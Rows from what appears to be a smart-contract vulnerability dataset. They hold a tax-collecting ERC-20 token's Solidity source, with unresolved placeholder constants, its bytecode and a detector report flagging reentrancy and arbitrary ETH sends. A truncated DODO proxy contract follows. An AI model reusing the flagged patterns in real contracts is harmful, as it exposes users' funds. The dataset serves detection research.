function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract CaptainCat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a1578063a9059cbb146102c1578063dd62ed3e146102e1578063f42938901461032757600080fd5b806370a0823114610219578063715018a6146102395780638da5cb5b1461024e57806395d89b411461027657600080fd5b8063293230b8116100c6578063293230b8146101bc578063313ce567146101d35780633e07ce5b146101ef57806351bc3c851461020457600080fd5b806306fdde0314610103578063095ea7b31461014957806318160ddd1461017957806323b872dd1461019c57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600b81526a10d85c1d185a5b8810d85d60aa1b60208201525b604051610140919061139b565b60405180910390f35b34801561015557600080fd5b50610169610164366004611405565b61033c565b6040519015158152602001610140565b34801561018557600080fd5b5061018e610353565b604051908152602001610140565b3480156101a857600080fd5b506101696101b7366004611431565b610374565b3480156101c857600080fd5b506101d16103dd565b005b3480156101df57600080fd5b5060405160068152602001610140565b3480156101fb57600080fd5b506101d1610755565b34801561021057600080fd5b506101d161078b565b34801561022557600080fd5b5061018e610234366004611472565b6107b8565b34801561024557600080fd5b506101d16107da565b34801561025a57600080fd5b506000546040516001600160a01b039091168152602001610140565b34801561028257600080fd5b50604080518082019091526002815261434360f01b6020820152610133565b3480156102ad57600080fd5b506101d16102bc36600461148f565b61087e565b3480156102cd57600080fd5b506101696102dc366004611405565b6108a7565b3480156102ed57600080fd5b5061018e6102fc3660046114a8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033357600080fd5b506101d16108b4565b600061034933848461091e565b5060015b92915050565b60006103616006600a6115db565b61036f906305f5e1006115ea565b905090565b6000610381848484610a42565b6103d384336103ce8560405180606001604052806028815260200161174f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc7565b61091e565b5060019392505050565b6009546001600160a01b031633146103f457600080fd5b600c54600160a01b900460ff16156104535760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461047f9030906001600160a01b03166104716006600a6115db565b6103ce906305f5e1006115ea565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f69190611609565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610558573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057c9190611609565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ed9190611609565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061d816107b8565b6000806106326000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106bf9190611626565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107529190611654565b50565b6009546001600160a01b0316331461076c57600080fd5b6107786006600a6115db565b610786906305f5e1006115ea565b600a55565b6009546001600160a01b031633146107a257600080fd5b60006107ad306107b8565b905061075281610d01565b6001600160a01b03811660009081526002602052604081205461034d90610e7b565b6000546001600160a01b031633146108345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161044a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089557600080fd5b600981106108a257600080fd5b600855565b6000610349338484610a42565b6009546001600160a01b031633146108cb57600080fd5b4761075281610ef8565b600061091783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f36565b9392505050565b6001600160a01b0383166109805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044a565b6001600160a01b0382166109e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044a565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044a565b60008111610b6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044a565b6000546001600160a01b03848116911614801590610b9657506000546001600160a01b03838116911614155b15610cb757600c546001600160a01b038481169116148015610bc65750600b546001600160a01b03838116911614155b8015610beb57506001600160a01b03821660009081526004602052604090205460ff16155b15610c4157600a548110610c415760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161044a565b6000610c4c306107b8565b600c54909150600160a81b900460ff16158015610c775750600c546001600160a01b03858116911614155b8015610c8c5750600c54600160b01b900460ff165b15610cb557610c9a81610d01565b47670de0b6b3a76400008110610cb357610cb347610ef8565b505b505b610cc2838383610f64565b505050565b60008184841115610ceb5760405162461bcd60e51b815260040161044a919061139b565b506000610cf88486611676565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4957610d4961168d565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc69190611609565b81600181518110610dd957610dd961168d565b6001600160a01b039283166020918202929092010152600b54610dff913091168461091e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e389085906000908690309042906004016116a3565b600060405180830381600087803b158015610e5257600080fd5b505af1158015610e66573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044a565b6000610eec610f6f565b905061091783826108d5565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f32573d6000803e3d6000fd5b5050565b60008183610f575760405162461bcd60e51b815260040161044a919061139b565b506000610cf88486611714565b610cc2838383610f92565b6000806000610f7c611089565b9092509050610f8b82826108d5565b9250505090565b600080600080600080610fa48761110b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd69087611168565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100590866111aa565b6001600160a01b03891660009081526002602052604090205561102781611209565b6110318483611253565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107691815260200190565b60405180910390a3505050505050505050565b60055460009081908161109e6006600a6115db565b6110ac906305f5e1006115ea565b90506110d46110bd6006600a6115db565b6110cb906305f5e1006115ea565b600554906108d5565b821015611102576005546110ea6006600a6115db565b6110f8906305f5e1006115ea565b9350935050509091565b90939092509050565b60008060008060008060008060006111288a600754600854611277565b9250925092506000611138610f6f565b9050600080600061114b8e8787876112cc565b919e509c509a509598509396509194505050505091939550919395565b600061091783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc7565b6000806111b78385611736565b9050838110156109175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b6000611213610f6f565b90506000611221838361131c565b3060009081526002602052604090205490915061123e90826111aa565b30600090815260026020526040902055505050565b6005546112609083611168565b60055560065461127090826111aa565b6006555050565b6000808080611291606461128b898961131c565b906108d5565b905060006112a4606461128b8a8961131c565b905060006112bc826112b68b86611168565b90611168565b9992985090965090945050505050565b60008080806112db888661131c565b905060006112e9888761131c565b905060006112f7888861131c565b90506000611309826112b68686611168565b939b939a50919850919650505050505050565b60008261132b5750600061034d565b600061133783856115ea565b9050826113448583611714565b146109175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600060208083528351808285015260005b818110156113c8578581018301518582016040015282016113ac565b818111156113da576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075257600080fd5b6000806040838503121561141857600080fd5b8235611423816113f0565b946020939093013593505050565b60008060006060848603121561144657600080fd5b8335611451816113f0565b92506020840135611461816113f0565b929592945050506040919091013590565b60006020828403121561148457600080fd5b8135610917816113f0565b6000602082840312156114a157600080fd5b5035919050565b600080604083850312156114bb57600080fd5b82356114c6816113f0565b915060208301356114d6816113f0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611532578160001904821115611518576115186114e1565b8085161561152557918102915b93841c93908002906114fc565b509250929050565b6000826115495750600161034d565b816115565750600061034d565b816001811461156c576002811461157657611592565b600191505061034d565b60ff841115611587576115876114e1565b50506001821b61034d565b5060208310610133831016604e8410600b84101617156115b5575081810a61034d565b6115bf83836114f7565b80600019048211156115d3576115d36114e1565b029392505050565b600061091760ff84168361153a565b6000816000190483118215151615611604576116046114e1565b500290565b60006020828403121561161b57600080fd5b8151610917816113f0565b60008060006060848603121561163b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166657600080fd5b8151801515811461091757600080fd5b600082821015611688576116886114e1565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f35784516001600160a01b0316835293830193918301916001016116ce565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611749576117496114e1565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bf90b6e5d25ff8663f8a30c292307be9f30f76ccdf8df1576ba9b1cfa89523464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,324 |
0xff7c8f518e6f1435957ed3d3e0692c94676dae7a
|
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
